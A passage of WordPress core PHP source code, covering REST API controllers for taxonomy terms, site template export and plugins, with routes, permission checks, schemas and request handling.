		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array( 'taxonomy' => $this->taxonomy );

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/**
		 * Filters get_terms() arguments when querying terms via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_category_query`
		 *  - `rest_post_tag_query`
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments for get_terms().
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] ) ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $count_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		$response = array();

		foreach ( $query_result as $term ) {
			$data       = $this->prepare_item_for_response( $term, $request );
			$response[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = (int) ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error(
			'rest_term_invalid',
			__( 'Term does not exist.' ),
			array( 'status' => 404 )
		);

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, false or WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			$term_id = $term->get_error_data( 'term_exists' );
			if ( $term_id ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $term_id,
					)
				);
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_category`
		 *  - `rest_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single term is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_category`
		 *  - `rest_after_insert_post_tag`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Checks if a request has access to update the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_update',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to delete the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
	 */
	public function delete_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for terms.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$retval = wp_delete_term( $term->term_id, $term->taxonomy );

		if ( ! $retval ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The term cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires after a single term is deleted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_category`
		 *  - `rest_delete_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term          $term     The deleted term.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Term object.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = new stdClass();

		$schema = $this->get_item_schema();
		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->name = $request['name'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_term->slug = $request['slug'];
		}

		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
			$prepared_term->taxonomy = $request['taxonomy'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_term->description = $request['description'];
		}

		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
			$parent_term_id   = 0;
			$requested_parent = (int) $request['parent'];

			if ( $requested_parent ) {
				$parent_term = get_term( $requested_parent, $this->taxonomy );

				if ( $parent_term instanceof WP_Term ) {
					$parent_term_id = $parent_term->term_id;
				}
			}

			$prepared_term->parent = $parent_term_id;
		}

		/**
		 * Filters term data before inserting term via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_category`
		 *  - `rest_pre_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_term Term object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term         $item    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $item->term_id;
		}

		if ( in_array( 'count', $fields, true ) ) {
			$data['count'] = (int) $item->count;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $item->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_term_link( $item );
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $item->name;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $item->slug;
		}

		if ( in_array( 'taxonomy', $fields, true ) ) {
			$data['taxonomy'] = $item->taxonomy;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->parent;
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters the term data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_category`
		 *  - `rest_prepare_post_tag`
		 *
		 * Allows modification of the term data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response  The response object.
		 * @param WP_Term           $item      The original term object.
		 * @param WP_REST_Request   $request   Request used to generate the response.
		 */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_term( $term ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ),
			),
			'about'      => array(
				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
			),
		);

		if ( $term->parent ) {
			$parent_term = get_term( (int) $term->parent, $term->taxonomy );

			if ( $parent_term ) {
				$links['up'] = array(
					'href'       => rest_url( rest_get_route_for_term( $parent_term ) ),
					'embeddable' => true,
				);
			}
		}

		$taxonomy_obj = get_taxonomy( $term->taxonomy );

		if ( empty( $taxonomy_obj->object_type ) ) {
			return $links;
		}

		$post_type_links = array();

		foreach ( $taxonomy_obj->object_type as $type ) {
			$rest_path = rest_get_route_for_post_type_items( $type );

			if ( empty( $rest_path ) ) {
				continue;
			}

			$post_type_links[] = array(
				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ),
			);
		}

		if ( ! empty( $post_type_links ) ) {
			$links['https://api.w.org/post_type'] = $post_type_links;
		}

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique identifier for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'count'       => array(
					'description' => __( 'Number of published posts for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'HTML description of the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'link'        => array(
					'description' => __( 'URL of the term.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'HTML title for the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
					'required'    => true,
				),
				'slug'        => array(
					'description' => __( 'An alphanumeric identifier for the term unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'taxonomy'    => array(
					'description' => __( 'Type attribution for the term.' ),
					'type'        => 'string',
					'enum'        => array( $this->taxonomy ),
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( $taxonomy->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The parent term ID.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		$taxonomy     = get_taxonomy( $this->taxonomy );

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( ! $taxonomy->hierarchical ) {
			$query_params['offset'] = array(
				'description' => __( 'Offset the result set by a specific number of items.' ),
				'type'        => 'integer',
			);
		}

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by term attribute.' ),
			'type'        => 'string',
			'default'     => 'name',
			'enum'        => array(
				'id',
				'include',
				'name',
				'slug',
				'include_slugs',
				'term_group',
				'description',
				'count',
			),
		);

		$query_params['hide_empty'] = array(
			'description' => __( 'Whether to hide terms not assigned to any posts.' ),
			'type'        => 'boolean',
			'default'     => false,
		);

		if ( $taxonomy->hierarchical ) {
			$query_params['parent'] = array(
				'description' => __( 'Limit result set to terms assigned to a specific parent.' ),
				'type'        => 'integer',
			);
		}

		$query_params['post'] = array(
			'description' => __( 'Limit result set to terms assigned to a specific post.' ),
			'type'        => 'integer',
			'default'     => null,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to terms with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		/**
		 * Filters collection parameters for the terms controller.
		 *
		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
		 * slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Term_Query parameter.  Use the
		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array       $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
		 */
		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
	}

	/**
	 * Checks that the taxonomy is valid.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to check.
	 * @return bool Whether the taxonomy is allowed for REST management.
	 */
	protected function check_is_taxonomy_allowed( $taxonomy ) {
		$taxonomy_obj = get_taxonomy( $taxonomy );
		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
			return true;
		}
		return false;
	}
}
<?php
/**
 * REST API: WP_REST_Edit_Site_Export_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 */

/**
 * Controller which provides REST endpoint for exporting current templates
 * and template parts.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'export';
	}

	/**
	 * Registers the site export route.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'export' ),
					'permission_callback' => array( $this, 'permissions_check' ),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to export.
	 *
	 * @since 5.9.0
	 *
	 * @return WP_Error|true True if the request has access, or WP_Error object.
	 */
	public function permissions_check() {
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_export_templates',
			__( 'Sorry, you are not allowed to export templates and template parts.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Output a ZIP file with an export of the current templates
	 * and template parts from the site editor, and close the connection.
	 *
	 * @since 5.9.0
	 *
	 * @return WP_Error|void
	 */
	public function export() {
		// Generate the export file.
		$filename = wp_generate_block_templates_export_file();

		if ( is_wp_error( $filename ) ) {
			$filename->add_data( array( 'status' => 500 ) );

			return $filename;
		}

		$theme_name = basename( get_stylesheet() );
		header( 'Content-Type: application/zip' );
		header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' );
		header( 'Content-Length: ' . filesize( $filename ) );
		flush();
		readfile( $filename );
		unlink( $filename );
		exit;
	}
}
<?php
/**
 * REST API: WP_REST_Plugins_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class to access plugins via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Plugins_Controller extends WP_REST_Controller {

	const PATTERN = '[^.\/]+(?:\/[^.\/]+)?';

	/**
	 * Plugins controller constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'plugins';
	}

	/**
	 * Registers the routes for the plugins controller.
	 *
	 * @since 5.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => array(
						'slug'   => array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'WordPress.org plugin directory slug.' ),
							'pattern'     => '[\w\-]+',
						),
						'status' => array(
							'description' => __( 'The plugin activation status.' ),
							'type'        => 'string',
							'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
							'default'     => 'inactive',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'args'   => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					'plugin'  => array(
						'type'              => 'string',
						'pattern'           => self::PATTERN,
						'validate_callback' => array( $this, 'validate_plugin_param' ),
						'sanitize_callback' => array( $this, 'sanitize_plugin_param' ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugins = array();

		foreach ( get_plugins() as $file => $data ) {
			if ( is_wp_error( $this->check_read_permission( $file ) ) ) {
				continue;
			}

			$data['_file'] = $file;

			if ( ! $this->does_plugin_match_request( $request, $data ) ) {
				continue;
			}

			$plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) );
		}

		return new WP_REST_Response( $plugins );
	}

	/**
	 * Checks if a given request has access to get a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugin',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Retrieves one plugin from the site.
	 *
